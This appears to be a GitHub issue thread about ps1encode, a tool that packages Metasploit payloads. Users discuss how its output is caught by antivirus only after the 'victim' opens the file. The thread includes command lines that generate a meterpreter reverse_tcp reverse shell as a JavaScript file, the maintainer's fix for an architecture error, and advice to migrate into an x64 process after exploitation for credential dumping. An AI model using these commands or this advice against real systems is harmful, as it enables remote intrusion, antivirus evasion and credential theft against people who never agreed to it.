Good but Gets detected....

[complexpotato]

This really should not be an issue but I am just posting this to let other people know...
ps1encode is really good, it does not get caught until the victim opens the file, but it gets caught because the anti virus saw it doing a Evo-Gen activity.

[BeingEasy]

--PAYLOAD windows/x64/meterpreter/reverse_tcp --ENCODE cmd -t js > x64shell.js
Error: The selected arch is incompatible with the payload
。。
why?

[addenial]

Hey @BeingEasy when selecting your encoder, switch --ENCODE is same as -t.
The tool as of now does not support native x64 shells, but generating standard x86 payload will work on 64bit systems. If you need native architecture meterpreter for credential dumping purposes, I suggest using "migrate" command to hook into x64 process post exploit.

Try this:
。。
--PAYLOAD windows/meterpreter/reverse_tcp --ENCODE js > x86-64shell.js

[addenial]

@BeingEasy added x64 support addenial@a52cb04